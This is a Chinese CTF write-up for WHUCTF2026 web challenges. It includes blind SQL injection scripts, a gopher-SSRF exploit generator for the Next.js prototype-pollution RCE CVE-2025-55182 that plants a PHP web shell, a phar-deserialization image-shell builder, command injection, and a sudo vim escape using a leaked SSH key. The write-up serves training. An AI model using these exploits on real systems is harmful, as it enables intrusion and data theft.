WHUCTF2026校赛 比赛也是结束了,感谢队友带飞,虽然没能进前三(其实是我我拖后腿了QWQ),但是好歹我们也是拿过一个小时第一的哈哈哈
webwp如下
注注need 登录界面发现存在,密码错误和用户名不存在为页面回显区别的布尔盲注,随后编写脚本爆破数据库名ctf_challenge,表名password继续爆破得到admin登录密码
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requestsurl = "http://127.0.0.1:59913/login" def inject (payload ): data = { "username" : f"admin'/**/and/**/{processed_payload} #" , "password" : "any_password" } try : response = requests.post(url, data=data) if "密码错误" in response.text: return True else : return False except Exception as e: print (f"请求出错: {e} " ) return False def get_database_name (): db_name = "" print ("[*] 开始爆破数据库名..." ) for i in range (1 , 21 ): found = False low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = f"ascii(substr(database(),{i} ,1))>{mid} " if inject(payload): low = mid + 1 else : high = mid - 1 char = chr (low) if low == 32 or low > 126 : break db_name += char print (f"[+] 正在提取: {db_name} " ) return db_name if __name__ == "__main__" : name = get_database_name() print (f"\n[!] 最终爆破结果: {name} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import requestsurl = "http://127.0.0.1:51531/login" def inject (payload ): processed_payload = payload.replace(" " , "/**/" ) data = { "username" : f"admin'/**/and/**/{processed_payload} #" , "password" : "any_password" } try : response = requests.post(url, data=data) return "密码错误" in response.text except : return False def get_columns (): columns = [] print ("[*] 开始爆破 users 表的列名..." ) for col_idx in range (0 , 10 ): column_name = "" for char_idx in range (1 , 31 ): low, high = 32 , 126 while low <= high: mid = (low + high) // 2 payload = f"ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='ctf_challenge' limit {col_idx} ,1),{char_idx} ,1))>{mid} " if inject(payload): low = mid + 1 else : high = mid - 1 char = chr (low) if low <= 32 or low > 126 : break column_name += char print (f"[+] 正在提取第 {col_idx + 1 } 列: {column_name} " , end='\r' ) if column_name == "" : print (f"\n[*] 列名提取完毕,共找到 {len (columns)} 个字段。" ) break columns.append(column_name) print (f"\n[!] 发现列名: {column_name} " ) return columns if __name__ == "__main__" : cols = get_columns() print (f"\n[!] 最终列名结果: {cols} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import requestsurl = "http://127.0.0.1:59913/login" def inject (payload ): processed_payload = payload.replace(" " , "/**/" ) data = { "username" : f"admin'/**/and/**/{processed_payload} #" , "password" : "any_password" } try : response = requests.post(url, data=data) return "密码错误" in response.text except Exception as e: print (f"请求出错: {e} " ) return False def get_tables (): tables = [] database_name = "ctf_challenge" print (f"[*] 开始爆破数据库 [{database_name} ] 中的表名..." ) for table_idx in range (0 , 10 ): table_name = "" for char_idx in range (1 , 31 ): low = 32 high = 126 found_char = False while low <= high: mid = (low + high) // 2 payload = f"ascii(substr((select table_name from information_schema.tables where table_schema='{database_name} ' limit {table_idx} ,1),{char_idx} ,1))>{mid} " if inject(payload): low = mid + 1 else : high = mid - 1 char = chr (low) if low <= 32 or low > 126 : break table_name += char print (f"[+] 正在提取第 {table_idx + 1 } 张表: {table_name} " , end='\r' ) if table_name == "" : print (f"\n[*] 所有表名提取完毕,共找到 {len (tables)} 张表。" ) break tables.append(table_name) print (f"\n[!] 发现表: {table_name} " ) return tables if __name__ == "__main__" : table_list = get_tables() print (f"\n[!] 最终表名列表: {table_list} " )
Hell City 根据提示使用ssrf + gopher协议 + CVE-2025-55182原型链污染rce + 回显写入地址(/var/www/html)
输入http://127.0.0.1以及看到的/api/health可以看到一些靶机的信息,确认了存在漏洞的 Next.js 服务运行在内网的 80 端口 ,且处于 Docker 容器环境中
了解了一下这个漏洞https://keenlab.tencent.com/zh/2025/12/08/2025-CVE-2025-55182/ 就是说当 Next.js 处理 Server Action 的 multipart/form-data 请求时,会使用 React Flight 协议解析数据,就可以通过构造 ["$1:__proto__:then"] 这样的路径,攻击者可以沿着 JavaScript 的原型链向上遍历攻击者利用这个特性,劫持了 Chunk.prototype.then(控制流引擎)和 Chunk.constructor.constructor最终,当 React 引擎尝试解析一个特定的 Blob 引用(如 $B1337)时,会将恶意的 Payload 字符串传入 Function(...) 中执行,完成 RCE(博客里面说的)
OK现在就可以构造payload了
RCE部分的payload
1 2 3 4 5 6 let res = arguments[0]; let rej = arguments[1]; import("fs").then(fs => { fs.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\"a\"]); ?>"); res("pwned"); }).catch(rej); //
相当于执行
1 Function('let res = arguments[0]; let rej = arguments[1]; import("fs").then(fs => { fs.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\\"a\\"]); ?>"); res("pwned"); }).catch(rej); //4919')
然后这个生成的匿名函数被赋值给了 chunk.value 的 then 属性。 此时,chunk.value 变成了一个包含恶意 then 方法的对象
然后再用脚本生成完整的gopher payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import jsonimport urllib.parsedef generate_exploit (): js_code = 'let r=arguments[0]; import("fs").then(f=>{f.writeFileSync("/var/www/html/a.php", "<?php system($_GET[\\"a\\"]); ?>"); r();}).catch(arguments[1]); //' chunk_0 = { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : '{"then":"$B1337"}' , "_response" : { "_prefix" : js_code, "_formData" : { "get" : "$1:constructor:constructor" } } } boundary = "----WebKitFormBoundaryCTFExploit" body = ( f"--{boundary} \r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f'{json.dumps(chunk_0, separators=("," , ":" ))} \r\n' f"--{boundary} \r\n" f'Content-Disposition: form-data; name="1"\r\n\r\n' f'"$@0"\r\n' f"--{boundary} --\r\n" ) http_request = ( f"POST / HTTP/1.1\r\n" f"Host: 127.0.0.1\r\n" f"Next-Action: ctf_exploit\r\n" f"Accept: text/x-component\r\n" f"Content-Type: multipart/form-data; boundary={boundary} \r\n" f"Content-Length: {len (body.encode('utf-8' ))} \r\n" f"Connection: close\r\n\r\n" f"{body} " ) return f"gopher://127.0.0.1:80/_{urllib.parse.quote(http_request)} " print (generate_exploit())
得到
1 2 gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0ANext-Action%3A%20ctf_exploit%0D%0AAccept%3A%20text/x-component%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundaryCTFExploit%0D%0AContent-Length%3A%20537%0D%0AConnection%3A%20close%0D%0A%0D%0A------WebKitFormBoundaryCTFExploit%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%220%22%0D%0A%0D%0A%7B%22then%22%3A%22%241%3A__proto__%3Athen%22%2C%22status%22%3A%22resolved_model%22%2C%22reason%22%3A-1%2C%22value%22%3A%22%7B%5C%22then%5C%22%3A%5C%22%24B1337%5C%22%7D%22%2C%22_response%22%3A%7B%22_prefix%22%3A%22let%20r%3Darguments%5B0%5D%3B%20import%28%5C%22fs%5C%22%29.then%28f%3D%3E%7Bf.writeFileSync%28%5C%22/var/www/html/a.php%5C%22%2C%20%5C%22%3C%3Fphp%20system%28%24_GET%5B%5C%5C%5C%22a%5C%5C%5C%22%5D%29%3B%20%3F%3E%5C%22%29%3B%20r%28%29%3B%7D%29.catch%28arguments%5B1%5D%29%3B%20//%22%2C%22_formData%22%3A%7B%22get%22%3A%22%241%3Aconstructor%3Aconstructor%22%7D%7D%7D%0D%0A------WebKitFormBoundaryCTFExploit%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%221%22%0D%0A%0D%0A%22%24%400%22%0D%0A------WebKitFormBoundaryCTFExploit--%0D%0A
发送之后a.php木马已经写入
访问网页后的/a.php并写入指令cat /flag得到flag
世界上最好的大象 首先看上传图片的限制
后缀校验 :必须是 .png 等图片后缀。
**头校验 **:文件前 8 字节必须包含 \x89PNG。
尾校验 :文件 最后 32 个字节 内必须包含 PNG 的结束符 IEND\xAE\x42\x60\x82。
这个好说
再看看class.php里面的函数调用链
__destruct:Visitor 类在脚本结束销毁时,会 echo $this->bio;,把属性当成字符串处理
然后 __toString:触发 ShowCard 类的 __toString,内部执行 $resolver();,把对象当成函数调用
__invoke:触发 LabelResolver 类的 __invoke,内部执行 return $this->entry->{$this->field};,访问对象不存在的属性
(__get):触发 CacheEntry 类的 __get,内部执行 $this->driver->{$this->method}();,调用对象不存在的方法
(__call -> eval):触发 TemplateEngine 类的 __call,最终执行 eval($this->shell);
最后eval()还有过滤所有数字和字母,这个可以直接用通配符读出所有文件就可以类似
1 $payload = "?><?= `/???/??? /????`;"
然后在本地服务器上写一个生成木马图片的php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class Visitor { public $bio ; }class ShowCard { public $source ; }class LabelResolver { public $entry ; public $field = 'label' ; }class CacheEntry { public $driver ; public $cacheKey = '' ; public $method = 'render' ; }class TemplateEngine { public $shell = '' ; }$payload = "?><?= `/???/??? /????`;" ; $engine = new TemplateEngine ();$engine ->shell = $payload ;$cache = new CacheEntry ();$cache ->driver = $engine ;$cache ->method = "any_method_not_exists" ;$label = new LabelResolver ();$label ->entry = $cache ;$label ->field = "any_property" ;$card = new ShowCard ();$card ->source = $label ;$visitor = new Visitor ();$visitor ->bio = $card ;@unlink ("payload.phar" ); $phar = new Phar ("payload.phar" );$phar ->startBuffering ();$phar ->setStub ("\x89PNG\r\n\x1a\n<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($visitor ); $phar ->addFromString ("test.txt" , "IEND\xAE\x42\x60\x82" ); $phar ->setSignatureAlgorithm (Phar ::MD5 ); $phar ->stopBuffering ();rename ("payload.phar" , "payload.png" );echo "Payload 生成成功:payload.png\n" ;?>
然后上传通过phar协议读取文件图片马,会发现果然后台返回了一堆乱码,读到了一些二进制文件,里面同时也有flag
啃臭加U查看源码翻到末尾发现flag
It’s myrOOt!!!! 首先在execute 尝试 | ls -a 没想到直接执行了 得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 . .. .dockerenv bin boot config dev entrypoint.sh etc frontend home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
发现启动脚本entrypoint.sh打开看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 set -euo pipefailFLAG_PATH="/root/flag.txt" MYSQL_SOCKET="/run/mysqld/mysqld.sock" MYSQL_DATABASE="${MYSQL_DATABASE:-blog}" MYSQL_USER="${MYSQL_USER:-web_user}" MYSQL_PASSWORD="${MYSQL_PASSWORD:-web_pass}" JUMP_KEY_PATH="/opt/pentest/runtime/jumpuser_ed25519" JUMP_NOTE_PATH="/home/jumpuser/note.txt" write_flag() { local flag_value flag_value="${GZCTF_FLAG:-flag{demo_dynamic_flag}}" printf '%s\n' "$flag_value" > "$FLAG_PATH" chown root:root "$FLAG_PATH" chmod 0600 "$FLAG_PATH" unset GZCTF_FLAG || true } ensure_jump_material() { local passphrase if [ ! -f "$JUMP_KEY_PATH" ]; then passphrase="$(pwgen -s 18 1)" ssh-keygen -q -t ed25519 -N "$passphrase" -C "jumpuser@jumpbox" -f "$JUMP_KEY_PATH" printf '%s' "$passphrase" > /opt/pentest/runtime/jumpuser_passphrase fi install -d -m 0700 -o jumpuser -g jumpuser /home/jumpuser/.ssh install -m 0600 -o jumpuser -g jumpuser "$JUMP_KEY_PATH.pub" /home/jumpuser/.ssh/authorized_keys install -m 0644 -o jumpuser -g jumpuser /opt/pentest/note.txt "$JUMP_NOTE_PATH" passwd -d jumpuser >/dev/null 2 >&1 || true } init_mysql_data_dir() { if [ ! -d /var/lib/mysql/mysql ]; then mariadb-install-db --user=mysql --datadir=/var/lib/mysql >/tmp/mysql-install.log 2 >&1 fi } start_mysql() { gosu mysql mariadbd \ --bind-address=127.0 .0 .1 \ --socket="$MYSQL_SOCKET" \ --datadir=/var/lib/mysql \ --pid-file=/run/mysqld/mysqld.pid \ >/tmp/mariadb.log 2 >&1 & while ! mysqladmin --socket="$MYSQL_SOCKET" ping >/dev/null 2 >&1 ; do sleep 1 done } seed_mysql() { local escaped_key local passphrase local note passphrase="$(cat /opt/pentest/runtime/jumpuser_passphrase)" escaped_key="$(sed ':a;N;$!ba;s/\n/\\n/g' " $JUMP_KEY_PATH")" note="old backup note: key passphrase: ${passphrase}; local ssh port moved to 2222" sed \ -e "s|__MYSQL_DATABASE__|${MYSQL_DATABASE}|g" \ -e "s|__MYSQL_USER__|${MYSQL_USER}|g" \ -e "s|__MYSQL_PASSWORD__|${MYSQL_PASSWORD}|g" \ -e "s|__PRIVATE_KEY__|${escaped_key}|g" \ -e "s|__KEY_NOTE__|${note}|g" \ /opt/pentest/mysql/schema.sql.template > /opt/pentest/runtime/schema.sql //发现秘钥保存路径 mysql --socket="$MYSQL_SOCKET" < /opt/pentest/runtime/schema.sql } start_sshd() { ssh-keygen -A >/dev/null 2 >&1 || true /usr/sbin/sshd } prepare_runtime() { chmod 1777 /tmp install -d -m 0755 -o root -g root /opt/pentest/runtime if [ ! -f /opt/pentest/maintenance/README.md ]; then printf 'root maintenance only\n' > /opt/pentest/maintenance/README.md chown root:root /opt/pentest/maintenance/README.md chmod 0644 /opt/pentest/maintenance/README.md fi } start_olivetin() { exec gosu olivetin /usr/bin /OliveTin } write_flag prepare_runtime ensure_jump_material init_mysql_data_dir start_mysql seed_mysql start_sshd start_olivetin
flag在root里面肯定看不了,local ssh port moved to 2222 且端口转移到2222
然后分析脚本使用 pwgen 生成了一个随机密码,并用它创建了一对 SSH 密钥 (jumpuser_ed25519)
这个公钥被放到了 jumpuser 的 .ssh/authorized_keys 中,这意味着如果我们拿到私钥,就可以 SSH 登录到这个账户
接下来就读取啊数据库中的私钥密码| cat /opt/pentest/mysql/schema.sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 CREATE DATABASE IF NOT EXISTS blog; CREATE USER IF NOT EXISTS 'web_user'@'localhost' IDENTIFIED BY 'web_pass'; CREATE USER IF NOT EXISTS 'web_user'@'127.0.0.1' IDENTIFIED BY 'web_pass'; GRANT ALL PRIVILEGES ON blog.* TO 'web_user'@'localhost'; GRANT ALL PRIVILEGES ON blog.* TO 'web_user'@'127.0.0.1'; FLUSH PRIVILEGES; USE blog; CREATE TABLE IF NOT EXISTS ssh_keys ( id INT PRIMARY KEY AUTO_INCREMENT, owner VARCHAR(50) NOT NULL, private_key TEXT NOT NULL, note VARCHAR(255) DEFAULT NULL ); DELETE FROM ssh_keys WHERE owner = 'jumpuser'; INSERT INTO ssh_keys (owner, private_key, note) VALUES ('jumpuser', '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABD5key0IV 7XKe8Zj1oQ7fYIAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIAWFA86ISeT73va4 WikXfLUHdkx+LvqX5CiU3tbUvXM5AAAAoL/wL70uLKySUSvwilFtWPqNIL8vPs0w7am5wU 6npg/wN7bis/qu4gEsvEWEcsGPKvaP3vSb5+ZunPKfxDBeN9Mq+C47NSgVi2d4EPEq/R4J SOPa6JJf6PjkxaJthL3wUc+9kHylSBnBv4FSFjxBQn1ELt47IqPanHJ5UxA/qU+G+Nwg3P QBsSejsvtc5b1JQ2Gj35zWhCzHwmz8mxXYSEM= --
因为这个页面是只有输出的没有交互,直接执行 ssh 会因为无法手动输入私钥密码而失败,可以在本地创建一个自动输入的脚本,端口也改为2222 payload如下:把密钥密码写入并且执行身份跳转指令
1 2 3 4 5 | printf '%b\n' '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCLU0O7w6\nEqtEmfMIvx3JkwAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIAUcgdXePb0Tv90i\nrb8rV/m3zK8BManCZ6/CTlzN0J9fAAAAoGqynJtiiL60/iNV1LnfWw3NGB3taBJwrM81Sr\nPaV7DnxZihYmx3gYkONl+uVQKJ6VVJUh/H+xw1LHVFOdNPvJ0NVAgaLK2a+4kQGZQR96N0\nI17IuSGGqh1i61GHfn0wAnwXLD9qR5+gnDkLThydkrFfzsbP/rjoxuXUTkaevfV2Nsm+Ir\n6UI2TgBuuXTedjm02DIbBB2PIJABHAANP+Vpc=\n-----END OPENSSH PRIVATE KEY-----' > /tmp/my_key; chmod 600 /tmp/my_key; printf '#!/bin/sh\necho h0GQGA3cRf9Djseg7T\n' > /tmp/pwd.sh; chmod +x /tmp/pwd.sh; SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "id; cat /home/jumpuser/note.txt; sudo -l" </dev/null
然后成功转移到jumpuser用户提权
然后直接读取root里面的flag.txt
1 | SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "echo ':!cat /root/flag.txt > /tmp/rflag' > /tmp/v.txt; echo '' >> /tmp/v.txt; echo ':q!' >> /tmp/v.txt; echo '' >> /tmp/v.txt; cat /tmp/v.txt | sudo /usr/bin/vim /opt/pentest/maintenance/README.md; cat /tmp/rflag" </dev/null
发现报错信息为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 signal: killed Vim: Warning: Output is not to a terminal Vim: Warning: Input is not from a terminal E558: Terminal entry not found in terminfo 'unknown' not known. Available builtin terminals are: builtin_ansi builtin_xterm builtin_iris-ansi builtin_dumb defaulting to 'ansi' OliveTin::timeout - this action timed out after 3 seconds. If you need more me for this action, set a longer timeout. See https://docs.olivetin.app/acti_customization/timeouts.html for more help.
问下ai: ‘’Vim 是一个交互式编辑器。当我们强行用管道 | 把命令喂给它时,它发现没有一个真正的终端(TTY)可以绘图和接收实时键盘输入,于是报了 Warning: Input is not from a terminal 和 E558 终端类型错误。看最后一行 OliveTin::timeout - this action timed out after 3 seconds。由于 Vim 因为没有终端卡在那里等待输入,整个进程悬停了,3秒后被 OliveTin 的安全机制强制杀死’’
最终payload,加入printf模拟vim写入操作,强制分配 PTY,并且将所有输出重定向到日志文件,并将整个 SSH 进程挂到后台,然后把控制权还给 OliveTin避免超时
1 | printf ":!cat /root/flag.txt > /tmp/rflag; chmod 777 /tmp/rflag\n\n:q!\n" | SSH_ASKPASS=/tmp/pwd.sh DISPLAY=:0 ssh -tt -o StrictHostKeyChecking=no -p 2222 -i /tmp/my_key jumpuser@127.0.0.1 "TERM=xterm sudo /usr/bin/vim /opt/pentest/maintenance/README.md" > /tmp/vim_attack.log 2>&1 & echo "Attack launched in background! Please wait 2 seconds."
最后输入 | cat /tmp/rflag得到flag